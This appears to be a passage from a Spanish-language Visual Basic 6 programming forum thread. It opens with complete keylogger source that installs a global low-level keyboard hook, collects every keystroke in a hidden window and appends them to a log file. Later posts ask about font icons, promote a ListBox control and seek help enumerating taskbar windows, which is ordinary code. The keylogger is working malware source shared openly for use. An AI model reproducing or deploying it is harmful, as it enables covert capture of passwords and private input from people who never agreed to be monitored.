Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long

Private Const ES_MULTILINE              As Long = &H4&
Private Const ES_AUTOVSCROLL            As Long = &H40&
Private Const ES_AUTOHSCROLL            As Long = &H80&

Private Const WM_IME_KEYDOWN            As Long = &H290
Private Const WM_SYSKEYDOWN             As Long = &H104
Private Const WM_KEYDOWN                As Long = &H100
Private Const WM_KEYUP                  As Long = &H101
Private Const WH_KEYBOARD_LL            As Long = 13

Private Const BUFFER_TO_SAVE            As Long = 100

Private hEdit                           As Long
Private KBHook                          As Long
Private sTextData                       As String
Private TextLen                         As Long


Public Sub ManageKeylogger(ByVal Enable As Boolean)
    Select Case Enable
        Case True
            hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0)
            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
            Debug.Print hEdit
        Case False
            Call UnhookWindowsHookEx(KBHook)
            TextLen = GetWindowTextLength(hEdit)
            If TextLen Then LogToFile App.Path & "\Log.txt"
            DestroyWindow hEdit
    End Select
End Sub


Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long

    Select Case wParam
   
        Case WM_KEYDOWN
            If lParam <> 222 And lParam <> 186 Then
                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
            End If
       
        Case WM_KEYUP
            TextLen = GetWindowTextLength(hEdit)
            If TextLen > BUFFER_TO_SAVE Then
                LogToFile App.Path & "\Log.txt"
            End If
       
        Case WM_SYSKEYDOWN
            Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
           
    End Select

End Function


Private Sub LogToFile(ByVal sPath As String)

    sTextData = String(TextLen + 1, Chr$(0))
    GetWindowText hEdit, sTextData, TextLen + 1
    SetWindowText hEdit, vbNullString

    Open sPath For Append As #1
        Print #1, sTextData
    Close #1
   
End Sub



Saludos.


#43
Hola una consulta,quizas no tiene que ver mucho con vb pero es para aplicarlo, tengo una duda que significan los iconos que estan al lado de las fuente, cual es la relacion? en algunos programas me muestran todas "O" en otros todas "T" y tambien estan las "A" alguien sabe el significados de estos iconos??



Saludos
#44
Hola, si me permite hago un poco de Spam a cambio de un aporte, es para compartir este Control de Usuario, se trata de un ListBox personalizado el cual permite insertar iconos, Cambiar la seleción, un sistema de desplazamiento personalizado. etc.





Descargar

Espero a nadie le moleste  ;)
Saludos
#45
hola, tengo un problema con este codigo, estoy listando todas las ventanas que aparecen en la barra de Tareas, y cuando le doy clic en el list me imprime la ventana, pero el problema es con el IDE de visual basic si no esta minimizado, el problema es que la ventana se llama wndclass_desked_gsk pero la que en realidad el que tiene el ExStyle WS_EX_APPWINDOW es IDEOwner como puedo obtener la ventana wndclass_desked_gsk  a partir de IDEOwner


en un modulo
Option Explicit
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Private Declare Function GetParent Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function IsWindowVisible Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Public Declare Function PrintWindow Lib "user32.dll" (ByVal hWnd As Long, ByVal hdcBlt As Long, ByVal nFlags As Long) As Long

Private Const GWL_EXSTYLE As Long = -20
Private Const WS_EX_APPWINDOW As Long = &H40000
Private Const WS_EX_WINDOWEDGE As Long = &H100&

Dim arr() As Long

Public Function fEnumWindows() As Variant
    ReDim arr(0)
    Call EnumWindows(AddressOf fEnumWindowsCallBack, GetDesktopWindow)
    fEnumWindows = arr
End Function

Private Function fEnumWindowsCallBack(ByVal hWnd As Long, ByVal lParam As Long) As Long
    If IsWindowVisible(hWnd) Then
        If IsExStyle(hWnd, WS_EX_APPWINDOW) Or GetWinClassName(hWnd) = "CabinetWClass" Then
            arr(UBound(arr)) = hWnd
            ReDim Preserve arr(UBound(arr) + 1)
        End If
    End If
fEnumWindowsCallBack = True
End Function

Public Function GetWinText(ByVal hWnd As Long)
    Dim MyStr As String
    MyStr = String(100, Chr$(0))
    GetWindowText hWnd, MyStr, 100
    GetWinText = Left$(MyStr, InStr(MyStr, Chr$(0)) - 1)
End Function

Public Function GetWinClassName(hWnd As Long) As String
    Dim lpClassName As String
    Dim Ret As Long
    lpClassName = Space(256)
    Ret = GetClassName(hWnd, lpClassName, 256)
    GetWinClassName = Left$(lpClassName, Ret)
End Function

Private Function IsExStyle(hWnd As Long, ExStyle As Long) As Boolean
    IsExStyle = (GetWindowLong(hWnd, GWL_EXSTYLE) And ExStyle) = ExStyle
End Function



en un formulario con un picture1 y un list1

Option Explicit
Dim MyArr() As Long
'wndclass_desked_gsk
'IDEOwner
Private Sub Form_Load()
    Dim i As Long
   
    MyArr = fEnumWindows
   
    For i = 0 To UBound(MyArr) - 1
        List1.AddItem GetWinText(MyArr(i))
    Next
End Sub

Private Sub List1_Click()
    Picture1.Cls
    PrintWindow MyArr(List1.ListIndex), Picture1.hDC, 0
    Me.Caption = GetWinClassName(MyArr(List1.ListIndex))
End Sub


Creo que deberia utlizar GetWindowThreadProcessId pero no encotre forma de hacerlo.

Saludos